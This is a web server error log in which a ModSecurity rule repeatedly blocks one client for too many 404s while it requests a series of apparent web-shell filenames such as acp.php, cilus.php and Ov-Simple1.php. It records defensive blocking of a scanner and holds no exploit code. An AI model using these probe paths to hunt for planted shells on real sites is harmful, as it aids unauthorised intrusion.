[Thu Apr 16 23:09:44.398089 2026] [:error] [pid 57536:tid 57558] [client 4.225.163.126:14405] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeD7uCQU4faGja6jpDuxVwAAAAo"]
[Thu Apr 16 23:09:45.071051 2026] [:error] [pid 57536:tid 57570] [client 4.225.163.126:14358] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeD7uSQU4faGja6jpDuxWgAAABY"]
[Thu Apr 16 23:09:45.642273 2026] [:error] [pid 57639:tid 57658] [client 4.225.163.126:14409] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeD7uaMCQoTw7TsxWukISgAAAMw"]
[Thu Apr 16 23:09:46.225642 2026] [:error] [pid 57639:tid 57661] [client 4.225.163.126:14408] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeD7uqMCQoTw7TsxWukITAAAAM8"]
[Thu Apr 16 23:09:46.917675 2026] [:error] [pid 57639:tid 57650] [client 4.225.163.126:14251] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeD7uqMCQoTw7TsxWukIUQAAAMQ"]
[Thu Apr 16 23:09:47.657207 2026] [:error] [pid 57536:tid 57561] [client 4.225.163.126:14265] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeD7uyQU4faGja6jpDuxYgAAAA0"]
[Thu Apr 16 23:09:48.561648 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:14213] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeD7vKMCQoTw7TsxWukIXAAAAMU"]
[Thu Apr 16 23:09:49.419593 2026] [:error] [pid 29603:tid 29622] [client 4.225.163.126:14329] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "aeD7vVfGOR6fpTWUAzq3fAAAARE"]
[Thu Apr 16 23:09:50.059516 2026] [:error] [pid 57538:tid 57617] [client 4.225.163.126:14393] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "aeD7vsuMaiEF5SVR2Bf9_QAAAI8"]
[Thu Apr 16 23:09:51.163287 2026] [:error] [pid 57538:tid 57606] [client 4.225.163.126:14255] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "aeD7v8uMaiEF5SVR2Bf9_wAAAIQ"]
[Thu Apr 16 23:09:59.196118 2026] [:error] [pid 57536:tid 57558] [client 4.225.163.126:14319] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeD7xyQU4faGja6jpDuxeAAAAAo"]
[Thu Apr 16 23:09:59.837247 2026] [:error] [pid 57538:tid 57608] [client 4.225.163.126:14219] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeD7x8uMaiEF5SVR2Bf-BAAAAIY"]
[Thu Apr 16 23:10:00.745951 2026] [:error] [pid 57639:tid 57650] [client 4.225.163.126:14325] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeD7yKMCQoTw7TsxWukIhQAAAMQ"]
[Thu Apr 16 23:10:01.449613 2026] [:error] [pid 49094:tid 49096] [client 4.225.163.126:14365] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeD7yTbDwvcXorHR_MwlGAAAAUA"]
[Thu Apr 16 23:10:02.460982 2026] [:error] [pid 7880:tid 7886] [client 4.225.163.126:14269] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aeD7yqaezm4fSGc0yULTcQAAAYE"]
[Thu Apr 16 23:10:03.132348 2026] [:error] [pid 49094:tid 49115] [client 4.225.163.126:14270] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aeD7yzbDwvcXorHR_MwlGwAAAVM"]
[Thu Apr 16 23:10:04.158230 2026] [:error] [pid 57639:tid 57657] [client 4.225.163.126:14401] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aeD7zKMCQoTw7TsxWukIlQAAAMs"]
[Thu Apr 16 23:10:05.988725 2026] [:error] [pid 57537:tid 57580] [client 4.225.163.126:14330] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aeD7zVVQRS8nm73ENAnOIgAAAEU"]
[Thu Apr 16 23:10:08.004786 2026] [:error] [pid 57536:tid 57557] [client 4.225.163.126:14172] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aeD70CQU4faGja6jpDuxfQAAAAk"]
[Thu Apr 16 23:10:09.215313 2026] [:error] [pid 57639:tid 57663] [client 4.225.163.126:14160] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aeD70aMCQoTw7TsxWukIpwAAANE"]
[Thu Apr 16 23:10:09.888460 2026] [:error] [pid 57536:tid 57564] [client 4.225.163.126:14454] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aeD70SQU4faGja6jpDuxgwAAABA"]
[Thu Apr 16 23:10:10.977504 2026] [:error] [pid 57639:tid 57659] [client 4.225.163.126:14162] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aeD70qMCQoTw7TsxWukIqQAAAM0"]
[Thu Apr 16 23:10:12.246458 2026] [:error] [pid 49094:tid 49120] [client 4.225.163.126:14461] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aeD71DbDwvcXorHR_MwlNQAAAVg"]
[Thu Apr 16 23:10:14.031869 2026] [:error] [pid 7880:tid 7895] [client 4.225.163.126:14456] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aeD71qaezm4fSGc0yULTnQAAAYo"]
[Thu Apr 16 23:10:16.319552 2026] [:error] [pid 57639:tid 57667] [client 4.225.163.126:14356] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aeD72KMCQoTw7TsxWukItQAAANU"]
[Thu Apr 16 23:10:17.321855 2026] [:error] [pid 49094:tid 49120] [client 4.225.163.126:14352] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aeD72TbDwvcXorHR_MwlQwAAAVg"]
[Thu Apr 16 23:10:18.138221 2026] [:error] [pid 49094:tid 49114] [client 4.225.163.126:14254] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeD72jbDwvcXorHR_MwlRAAAAVI"]
[Thu Apr 16 23:10:18.910250 2026] [:error] [pid 57639:tid 57646] [client 4.225.163.126:14418] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeD72qMCQoTw7TsxWukIvQAAAMA"]
[Thu Apr 16 23:10:19.878412 2026] [:error] [pid 57639:tid 57668] [client 4.225.163.126:14248] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeD726MCQoTw7TsxWukIwwAAANY"]
[Thu Apr 16 23:10:21.420161 2026] [:error] [pid 57536:tid 57554] [client 4.225.163.126:14348] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeD73SQU4faGja6jpDuxnAAAAAY"]
[Thu Apr 16 23:10:24.087950 2026] [:error] [pid 57538:tid 57619] [client 4.225.163.126:14416] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/curl.php"] [unique_id "aeD74MuMaiEF5SVR2Bf-GgAAAJE"]
[Thu Apr 16 23:10:27.171318 2026] [:error] [pid 57536:tid 57565] [client 4.225.163.126:14159] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/curl.php"] [unique_id "aeD74yQU4faGja6jpDuxnwAAABE"]
[Thu Apr 16 23:10:30.138709 2026] [:error] [pid 57639:tid 57663] [client 4.225.163.126:14338] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/curl.php"] [unique_id "aeD75qMCQoTw7TsxWukI_QAAANE"]
[Thu Apr 16 23:10:32.802209 2026] [:error] [pid 29603:tid 29616] [client 4.225.163.126:14428] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/curl.php"] [unique_id "aeD76FfGOR6fpTWUAzq35wAAAQs"]
[Thu Apr 16 23:10:34.413049 2026] [:error] [pid 57536:tid 57564] [client 4.225.163.126:14237] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeD76iQU4faGja6jpDuxqwAAABA"]
[Thu Apr 16 23:10:35.401246 2026] [:error] [pid 57537:tid 57580] [client 4.225.163.126:14180] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeD761VQRS8nm73ENAnOPAAAAEU"]
[Thu Apr 16 23:10:36.088801 2026] [:error] [pid 49094:tid 49103] [client 4.225.163.126:14305] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeD77DbDwvcXorHR_MwlVAAAAUc"]
[Thu Apr 16 23:10:36.752577 2026] [:error] [pid 49094:tid 49105] [client 4.225.163.126:14336] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeD77DbDwvcXorHR_MwlVQAAAUk"]
[Thu Apr 16 23:10:37.453624 2026] [:error] [pid 57639:tid 57669] [client 4.225.163.126:14397] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeD77aMCQoTw7TsxWukJBgAAANc"]
[Thu Apr 16 23:10:38.181045 2026] [:error] [pid 57538:tid 57624] [client 4.225.163.126:14430] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeD77suMaiEF5SVR2Bf-JQAAAJY"]
[Thu Apr 16 23:10:38.998277 2026] [:error] [pid 57536:tid 57560] [client 4.225.163.126:14263] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeD77iQU4faGja6jpDuxsgAAAAw"]
[Thu Apr 16 23:10:39.733060 2026] [:error] [pid 49094:tid 49116] [client 4.225.163.126:14182] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeD77zbDwvcXorHR_MwlVwAAAVQ"]
[Thu Apr 16 23:10:41.151337 2026] [:error] [pid 49094:tid 49096] [client 4.225.163.126:14406] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeD78TbDwvcXorHR_MwlWwAAAUA"]
[Thu Apr 16 23:10:42.198700 2026] [:error] [pid 49094:tid 49114] [client 4.225.163.126:14261] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeD78jbDwvcXorHR_MwlZAAAAVI"]
[Thu Apr 16 23:10:42.899066 2026] [:error] [pid 57538:tid 57608] [client 4.225.163.126:14333] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeD78suMaiEF5SVR2Bf-KwAAAIY"]
[Thu Apr 16 23:10:43.604868 2026] [:error] [pid 57536:tid 57548] [client 4.225.163.126:14097] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeD78yQU4faGja6jpDuxtgAAAAA"]
[Thu Apr 16 23:10:44.725206 2026] [:error] [pid 57538:tid 57619] [client 4.225.163.126:14343] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeD79MuMaiEF5SVR2Bf-LgAAAJE"]
[Thu Apr 16 23:10:46.642584 2026] [:error] [pid 57537:tid 57595] [client 4.225.163.126:14258] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeD79lVQRS8nm73ENAnOQwAAAFQ"]
[Thu Apr 16 23:10:47.874679 2026] [:error] [pid 49094:tid 49116] [client 4.225.163.126:14434] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeD79zbDwvcXorHR_MwldgAAAVQ"]
[Thu Apr 16 23:10:49.022746 2026] [:error] [pid 49094:tid 49120] [client 4.225.163.126:14202] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeD7-TbDwvcXorHR_MwlfgAAAVg"]
[Thu Apr 16 23:10:50.954059 2026] [:error] [pid 7880:tid 7904] [client 4.225.163.126:14462] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeD7-qaezm4fSGc0yULTuAAAAZM"]
[Thu Apr 16 23:10:52.234031 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:14349] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeD7_KMCQoTw7TsxWukJEgAAAMU"]
[Thu Apr 16 23:10:54.012434 2026] [:error] [pid 29603:tid 29611] [client 4.225.163.126:14445] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeD7_lfGOR6fpTWUAzq3-gAAAQY"]
[Thu Apr 16 23:10:54.839466 2026] [:error] [pid 29603:tid 29622] [client 4.225.163.126:14396] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeD7_lfGOR6fpTWUAzq3-wAAARE"]
[Thu Apr 16 23:10:56.100783 2026] [:error] [pid 57537:tid 57586] [client 4.225.163.126:14184] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeD8AFVQRS8nm73ENAnOSQAAAEs"]
[Thu Apr 16 23:10:56.984874 2026] [:error] [pid 57536:tid 57567] [client 4.225.163.126:14446] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeD8ACQU4faGja6jpDuxxgAAABM"]
